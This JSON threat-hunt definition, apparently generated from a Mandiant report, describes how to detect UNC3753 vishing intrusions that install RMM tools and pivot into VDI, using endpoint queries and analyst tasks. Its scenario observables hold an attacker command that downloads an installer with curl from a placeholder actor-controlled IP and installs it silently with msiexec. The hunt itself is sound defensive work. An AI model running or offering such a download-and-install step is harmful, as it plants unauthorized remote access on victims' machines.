{
  "hunt": {
    "meta": {
      "tlp": "clear",
      "hunt": {
        "handoff": "keep-as-periodic-hunt",
        "trigger": "intel-report",
        "methodology": "model-assisted",
        "applicability": "campaign-specific",
        "justification": "UNC3753 conducts fast-tempo intrusions that often complete within 24 hours. This hunt identifies the precursors of data theft\u2014unauthorized RMM deployment and vishing delivery\u2014before exfiltration begins."
      },
      "name": "Interactive Remote Access and Support Tool Abuse",
      "type": "investigation",
      "labels": [
        "hunt",
        "attack.t1566",
        "attack.t1133",
        "attack.t1219",
        "attack.t1059.001",
        "attack.t1021.001"
      ],
      "series": {
        "slug": "unc3753-targeted-campaign-against-us-law-firms",
        "index": 1,
        "title": "UNC3753 targeted campaign against US law firms",
        "total": 2
      },
      "related": [
        {
          "hunt": "document-harvesting-and-staging",
          "reason": "Once RMM tools are confirmed, the next hunt focuses on the sensitive keyword searches and staging activity the actor performs.",
          "relation": "follows"
        }
      ],
      "targets": {
        "hunter": {
          "name": "Hunt agent",
          "agent": true
        },
        "analyst": {
          "name": "Tier-2 analyst",
          "role": "analyst"
        },
        "endpoint": {
          "name": "Endpoint telemetry (hb_ surfaces)",
          "category": "endpoint",
          "telemetry": [
            "endpoint"
          ]
        }
      },
      "analysis": "A static detection rule for AnyDesk creates high noise in environments where IT uses it. This hunt uses a gated flow to identify relevant tool presence before pivoting to find the rare installer and delivery behavior an analyst must weigh.",
      "coverage": [
        {
          "stage": "initial-access-vishing-screen-share",
          "steps": [
            "dns-privnote-lookups"
          ],
          "status": "covered"
        },
        {
          "stage": "rmm-tool-deployment",
          "steps": [
            "rare-curl-installers"
          ],
          "status": "covered"
        },
        {
          "stage": "vdi-infrastructure-pivot",
          "steps": [
            "software-inventory-lead"
          ],
          "status": "covered"
        },
        {
          "stage": "document-harvesting-and-staging",
          "reason": "Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series.",
          "status": "out_of_scope"
        },
        {
          "stage": "data-theft-and-exfiltration",
          "reason": "Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series.",
          "status": "out_of_scope"
        }
      ],
      "scenario": {
        "stages": [
          {
            "name": "Vishing and Screen-Sharing Initiation",
            "slug": "initial-access-vishing-screen-share",
            "tactic": "initial-access",
            "techniques": [
              "T1566",
              "T1133"
            ],
            "observables": [
              "Zoom",
              "Microsoft Teams",
              "Quick Assist",
              "privnote.com",
              "invoice-themed emails from consumer accounts"
            ]
          },
          {
            "name": "RMM Agent Installation",
            "slug": "rmm-tool-deployment",
            "tactic": "execution",
            "techniques": [
              "T1219",
              "T1059.001"
            ],
            "observables": [
              "SuperOps.msi",
              "AnyDesk",
              "Bomgar",
              "Zoho Assist",
              "curl -sL http://[actor-controlled-ip]/installer -o SuperOps.msi",
              "msiexec /i SuperOps.msi /quiet"
            ]
          },
          {
            "name": "Pivot to Corporate VDI",
            "slug": "vdi-infrastructure-pivot",
            "tactic": "lateral-movement",
            "techniques": [
              "T1021.001"
            ],
            "observables": [
              "Windows365.exe",
              "Citrix clients",
              "VDI authentication from BYOD endpoints"
            ]
          },
          {
            "name": "Document Staging",
            "slug": "document-harvesting-and-staging",
            "tactic": "collection",
            "techniques": [
              "T1083",
              "T1074.001"
            ],
            "observables": [
              "Downloads folder",
              "Roaming profile path",
              "iManage keyword searches (W-2, W-9, 1099, SSN)",
              "OneDrive enumeration"
            ]
          },
          {
            "name": "Cloud and FTP Exfiltration",
            "slug": "data-theft-and-exfiltration",
            "tactic": "exfiltration",
            "techniques": [
              "T1567.002",
              "T1041"
            ],
            "observables": [
              "WinSCP",
              "Rclone",
              "Google Drive browser uploads",
              "Email forwarding to actor-controlled addresses",
              "folder renaming to mimic victim branding"
            ]
          }
        ],
        "summary": "UNC3753 uses vishing to impersonate IT support and trick employees into launching screen-sharing sessions or installing RMM tools like AnyDesk and SuperOps. The actors pivot from BYOD devices to corporate VDI environments to harvest sensitive documents, which they stage in local folders before exfiltrating them via WinSCP, Rclone, or browser uploads for extortion."
      },
      "severity": "high",
      "rationale": "Start by identifying hosts with the RMM or VDI tools mentioned in the report. Narrow the investigation to these hosts for the behavioral queries to reduce noise and processing cost.",
      "guardrails": {
        "claims": "no_unsupported",
        "evidence": "citation_required",
        "telemetry": "untrusted",
        "missing_data": "not_benign"
      },
      "hypothesis": "An intruder uses vishing to direct users to a self-destructing note service and installs unauthorized RMM tools to pivot into corporate VDI infrastructure.",
      "parameters": {
        "scope_hosts": {
          "type": "list[host]",
          "default": [],
          "description": "Hostnames identified in the scoping step; leave empty to scan the entire estate."
        },
        "rmm_software": {
          "from": {
            "ref": "UNC3753 Targeted Campaign",
            "kind": "article",
            "observed": "2026-05-01"
          },
          "type": "list[string]",
          "default": [
            "anydesk",
            "bomgar",
            "zoho assist",
            "citrix",
            "windows365",
            "quick assist",
            "citrix workspace",
            "windows 365",
            "superops"
          ],
          "description": "Software package names for RMM and VDI tools used by UNC3753."
        },
        "lookback_days": {
          "type": "number",
          "default": "14",
          "description": "Days of history to examine."
        }
      },
      "provenance": {
        "authors": [
          {
            "org": "huntbase.io",
            "name": "Huntbase hunt generation"
          }
        ],
        "generated": {
          "by": "huntbase-hunt-generation",
          "from": "https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms",
          "gates": [
            "dry-run",
            "lint",
            "critic"
          ],
          "model": "hb_google/gemini-3-flash-preview"
        }
      },
      "references": [
        {
          "url": "https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms",
          "name": "Mandiant - UNC3753 Targeted Campaign Against US Law Firms"
        }
      ],
      "blind_spots": [
        {
          "id": "byod-telemetry-gap",
          "risk": "UNC3753 targets personal BYOD endpoints to access corporate VDI; these devices lack telemetry for process or software inventory scans.",
          "stage": "initial-access-vishing-screen-share",
          "question": "Did the user initiate the session from a personal device?",
          "requires": "endpoint agent on personal devices"
        },
        {
          "id": "vishing-audio-content",
          "risk": "The actual vishing event happens out-of-band; we only observe the technical aftermath of the social engineering success.",
          "stage": "initial-access-vishing-screen-share",
          "question": "What verbal instructions were given to the target?",
          "requires": "voice recording and transcription"
        }
      ]
    },
    "name": "Interactive Remote Access and Support Tool Abuse",
    "description": "UNC3753 (Luna Moth) use 'Bazarcall' style vishing to bypass perimeter security, directing users to download unauthorized remote management tools like AnyDesk or SuperOps. This hunt identifies the sequence of a Privnote visit followed by the deployment of these tools and subsequent pivots into VDI environments like Citrix or Windows 365. It uses a gated flow to first scope the estate for relevant software before performing a deeper behavioral analysis of installer and session markers."
  },
  "nodes": [
    {
      "id": "hypothesis",
      "type": "hypothesis",
      "label": "Hypothesis",
      "config": {
        "tags": [],
        "series": {
          "slug": "unc3753-targeted-campaign-against-us-law-firms",
          "index": 1,
          "title": "UNC3753 targeted campaign against US law firms",
          "total": 2
        },
        "coverage": [
          {
            "stage": "initial-access-vishing-screen-share",
            "steps": [
              "dns-privnote-lookups"
            ],
            "status": "covered"
          },
          {
            "stage": "rmm-tool-deployment",
            "steps": [
              "rare-curl-installers"
            ],
            "status": "covered"
          },
          {
            "stage": "vdi-infrastructure-pivot",
            "steps": [
              "software-inventory-lead"
            ],
            "status": "covered"
          },
          {
            "stage": "document-harvesting-and-staging",
            "reason": "Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series.",
            "status": "out_of_scope"
          },
          {
            "stage": "data-theft-and-exfiltration",
            "reason": "Belongs to another part of the 'UNC3753 targeted campaign against US law firms' series.",
            "status": "out_of_scope"
          }
        ],
        "rationale": "An intruder uses vishing to direct users to a self-destructing note service and installs unauthorized RMM tools to pivot into corporate VDI infrastructure.",
        "blind_spots": [
          {
            "id": "byod-telemetry-gap",
            "risk": "UNC3753 targets personal BYOD endpoints to access corporate VDI; these devices lack telemetry for process or software inventory scans.",
            "stage": "initial-access-vishing-screen-share",
            "question": "Did the user initiate the session from a personal device?",
            "requires": "endpoint agent on personal devices"
          },
          {
            "id": "vishing-audio-content",
            "risk": "The actual vishing event happens out-of-band; we only observe the technical aftermath of the social engineering success.",
            "stage": "initial-access-vishing-screen-share",
            "question": "What verbal instructions were given to the target?",
            "requires": "voice recording and transcription"
          }
        ],
        "scoping_notes": "Start by identifying hosts with the RMM or VDI tools mentioned in the report. Narrow the investigation to these hosts for the behavioral queries to reduce noise and processing cost.",
        "beyond_detection": "A static detection rule for AnyDesk creates high noise in environments where IT uses it. This hunt uses a gated flow to identify relevant tool presence before pivoting to find the rare installer and delivery behavior an analyst must weigh."
      }
    },
    {
      "id": "software-inventory-lead",
      "type": "query",
      "label": "Remote access and VDI client inventory",
      "config": {
        "dsl": "sqlite",
        "role": "scoping",
        "source": "endpoint",
        "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE instr(',' || '{{rmm_software}}' || ',', ',' || LOWER(package_name) || ',') > 0",
        "surface": "hb_software_inventory",
        "description": "Identify hosts that have remote management or VDI software installed to focus the investigation.",
        "expected_signal": "A list of hosts with RMM or VDI software. Silence is not evidence of absence if inventory is incomplete."
      },
      "parents": [
        {
          "id": "hypothesis"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "scoping",
        "label": "Remote access and VDI client inventory",
        "reads": [
          "device_hostname",
          "package_name",
          "package_version",
          "vendor_name"
        ],
        "source": "hb_software_inventory",
        "target": "endpoint",
        "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE instr(',' || '{{rmm_software}}' || ',', ',' || LOWER(package_name) || ',') > 0",
        "silence": "not_evidence_of_absence",
        "expected": "A list of hosts with RMM or VDI software. Silence is not evidence of absence if inventory is incomplete.",
        "verified": "dry-run",
        "verified_at": "2026-09-20"
      }
    },
    {
      "id": "evaluate-lead",
      "type": "analytic",
      "label": "Evaluate lead hosts",
      "config": {
        "cite": "required",
        "tools": [
          "endpoint"
        ],
        "context": [
          "software-inventory-lead"
        ],
        "objective": "Identify hosts where the presence of RMM or VDI tools is unusual or matches the actor toolkit.",
        "description": "Determine if the hosts identified in inventory warrant a behavioral investigation.",
        "max_iterations": 3,
        "expected_signal": "A list of hosts that should be investigated further for session behavior.",
        "success_criteria": "A recommendation of which hosts to scope into behavioral analysis."
      },
      "parents": [
        {
          "id": "software-inventory-lead"
        }
      ]
    },
    {
      "id": "gate-on-inventory",
      "type": "checkpoint",
      "label": "Gate on software presence",
      "config": {
        "fuzzy": true,
        "judge": "hunter",
        "question": "the inventory evaluation identifies at least one host with unauthorized RMM or VDI software",
        "condition": "the inventory evaluation identifies at least one host with unauthorized RMM or VDI software",
        "blind_spot": "byod-telemetry-gap",
        "confidence": "high",
        "description": "Route the hunt to expensive behavioral queries only if relevant software leads were found.",
        "checkpoint_type": "mandatory"
      },
      "parents": [
        {
          "id": "evaluate-lead"
        }
      ]
    },
    {
      "id": "dns-privnote-lookups",
      "type": "query",
      "label": "Privnote DNS activity",
      "config": {
        "dsl": "sqlite",
        "role": "enrichment",
        "source": "endpoint",
        "content": "SELECT device_hostname, query_hostname, time FROM hb_dns_activity WHERE LOWER(query_hostname) = 'privnote.com' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')",
        "surface": "hb_dns_activity",
        "description": "Find hosts that visited the delivery platform used to transmit instructions.",
        "expected_signal": "A host resolving Privnote. Absence suggests a different delivery mechanism was used."
      },
      "parents": [
        {
          "id": "gate-on-inventory",
          "branch": "on_supports"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "enrichment",
        "label": "Privnote DNS activity",
        "reads": [
          "device_hostname",
          "query_hostname",
          "time"
        ],
        "source": "hb_dns_activity",
        "target": "endpoint",
        "content": "SELECT device_hostname, query_hostname, time FROM hb_dns_activity WHERE LOWER(query_hostname) = 'privnote.com' AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')",
        "silence": "not_evidence_of_absence",
        "expected": "A host resolving Privnote. Absence suggests a different delivery mechanism was used.",
        "verified": "dry-run",
        "verified_at": "2026-09-20"
      }
    },
    {
      "id": "rare-curl-installers",
      "type": "query",
      "label": "Rare curl-initiated MSI installers",
      "config": {
        "dsl": "sqlite",
        "role": "baseline",
        "source": "endpoint",
        "content": "SELECT device_hostname, process_cmd_line, COUNT(DISTINCT device_hostname) AS host_count, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_cmd_line) LIKE '%curl%' AND LOWER(process_cmd_line) LIKE '%msiexec%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, process_cmd_line HAVING host_count < 5",
        "surface": "hb_process_activity",
        "description": "Stack-count command lines that download and install software via curl to find anomalies.",
        "expected_signal": "A command line seen on very few hosts. Silence proves the absence of this specific installer pattern."
      },
      "parents": [
        {
          "id": "gate-on-inventory",
          "branch": "on_supports"
        }
      ],
      "primitive_config": {
        "dsl": "sqlite",
        "role": "baseline",
        "label": "Rare curl-initiated MSI installers",
        "reads": [
          "device_hostname",
          "process_cmd_line",
          "time"
        ],
        "source": "hb_process_activity",
        "target": "endpoint",
        "content": "SELECT device_hostname, process_cmd_line, COUNT(DISTINCT device_hostname) AS host_count, MIN(time) AS first_seen FROM hb_process_activity WHERE (LOWER(process_cmd_line) LIKE '%curl%' AND LOWER(process_cmd_line) LIKE '%msiexec%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, process_cmd_line HAVING host_count < 5",
        "silence": "evidence_of_absence",
        "baseline": {
          "window": "{{lookback_days}}d",
          "compare": "first_seen"
        },
        "expected": "A command line seen on very few hosts. Silence proves the absence of this specific installer pattern.",
        "verified": "dry-run",
        "prevalence": {
          "by": "device_hostname",
          "key": [
            "process_cmd_line"
          ],
          "rare_below": 5
        },
        "verified_at": "2026-09-20"
      }
    },
    {
      "id": "final-triage",
      "type": "analytic",
      "label": "Triage investigation evidence",
      "config": {
        "cite": "required",
        "tools": [
          "endpoint"
        ],
        "context": [
          "evaluate-lead",
          "dns-privnote-lookups",
          "rare-curl-installers"
        ],
        "objective": "Determine if any host shows a temporal sequence of visiting Privnote followed by a rare curl-initiated installation and presence of RMM tools.",
        "description": "Synthesize inventory, DNS, and rare process patterns to confirm a successful intrusion.",
        "max_iterations": 6,
        "expected_signal": "A high-confidence verdict for hosts showing overlapping social engineering and installer activity.",
        "success_criteria": "A verdict of malicious, suspicious, or benign per host, citing relevant rows."
      },
      "parents": [
        {
          "id": "dns-privnote-lookups",
          "kind": "merge"
        },
        {
          "id": "rare-curl-installers",
          "kind": "merge"
        }
      ]
    },
    {
      "id": "route-on-verdict",
      "type": "checkpoint",
      "label": "Route on final verdict",
      "config": {
        "fuzzy": true,
        "judge": "hunter",
        "question": "the final triage verdict is malicious for at least one host",
        "condition": "the final triage verdict is malicious for at least one host",
        "blind_spot": "byod-telemetry-gap",
        "confidence": "high",
        "description": "Isolate hosts with confirmed intrusions or route to manual review.",
        "checkpoint_type": "mandatory"
      },
      "parents": [
        {
          "id": "final-triage"
        }
      ]
    },
    {
      "id": "isolate-host",
      "type": "action",
      "label": "Isolate host",
      "config": {
        "target": "endpoint",
        "description": "Contain the breach once confirmed.",
        "instructions": "Isolate the host and revoke any active VDI or VPN sessions for the identified user.",
        "action_approval": "required"
      },
      "parents": [
        {
          "id": "route-on-verdict",
          "branch": "on_supports"
        }
      ]
    },
    {
      "id": "analyst-review",
      "type": "task",
      "label": "Analyst review",
      "config": {
        "assignee": "analyst",
        "description": "Verify ambiguous findings and confirm the extent of the session activity.",
        "instructions": "Review the cited DNS and process rows. Confirm if the curl-initiated MSI belongs to an authorized technician. Check for manual data staging in the user Downloads or Roaming folders."
      },
      "parents": [
        {
          "id": "gate-on-inventory",
          "branch": "default"
        },
        {
          "id": "gate-on-inventory",
          "branch": "on_unavailable"
        },
        {
          "id": "route-on-verdict",
          "branch": "default"
        },
        {
          "id": "route-on-verdict",
          "branch": "on_unavailable"
        },
        {
          "id": "isolate-host"
        }
      ]
    },
    {
      "id": "close-out",
      "type": "task",
      "label": "Close out",
      "config": {
        "assignee": "analyst",
        "description": "Document the hunt outcome and remaining gaps.",
        "instructions": "Document whether any suspicious activity was confirmed. If the tools found were legitimate, record a tuning note for those hosts."
      },
      "parents": [
        {
          "id": "gate-on-inventory",
          "branch": "on_refutes"
        },
        {
          "id": "route-on-verdict",
          "branch": "on_refutes"
        },
        {
          "id": "analyst-review"
        }
      ]
    }
  ]
}